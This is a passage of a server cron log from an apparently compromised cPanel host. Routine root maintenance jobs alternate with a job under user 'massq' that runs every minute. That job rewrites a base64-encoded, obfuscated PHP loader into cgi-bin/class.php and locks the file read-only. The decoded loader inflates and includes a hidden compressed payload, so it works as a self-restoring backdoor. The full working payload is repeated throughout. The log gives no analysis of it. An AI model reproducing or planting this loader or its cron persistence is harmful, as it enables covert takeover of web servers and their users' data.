fi; chmod 444 "$fp")
Aug 31 20:38:01 server CROND[7159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:38:01 server CROND[7160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:38:01 server CROND[7161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:39:02 server CROND[7529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:39:02 server CROND[7530]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:39:02 server CROND[7532]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 20:39:02 server CROND[7533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:40:02 server CROND[8021]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:40:02 server CROND[8022]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 20:40:02 server CROND[8024]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 20:40:02 server CROND[8023]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:40:02 server CROND[8025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:40:02 server CROND[8028]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 20:40:02 server CROND[8026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:40:02 server CROND[8029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:41:01 server CROND[8844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:41:01 server CROND[8845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:41:01 server CROND[8846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:42:01 server CROND[9212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:42:01 server CROND[9213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:42:01 server CROND[9215]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 20:42:01 server CROND[9214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:43:01 server CROND[9602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:43:01 server CROND[9603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:43:01 server CROND[9604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:44:01 server CROND[9987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:44:01 server CROND[9989]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:44:01 server CROND[9988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:45:01 server CROND[10475]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:45:01 server CROND[10476]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 20:45:01 server CROND[10477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:45:01 server CROND[10482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:45:01 server CROND[10481]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:45:01 server CROND[10484]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 20:45:01 server CROND[10483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:46:01 server CROND[11310]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:46:01 server CROND[11311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:46:01 server CROND[11312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:47:01 server CROND[11687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:47:01 server CROND[11686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:47:01 server CROND[11688]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:48:01 server CROND[12072]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:48:01 server CROND[12073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:48:01 server CROND[12075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:49:02 server CROND[12478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:49:02 server CROND[12480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:49:02 server CROND[12479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:50:01 server CROND[12855]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 20:50:01 server CROND[12861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:50:01 server CROND[12859]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
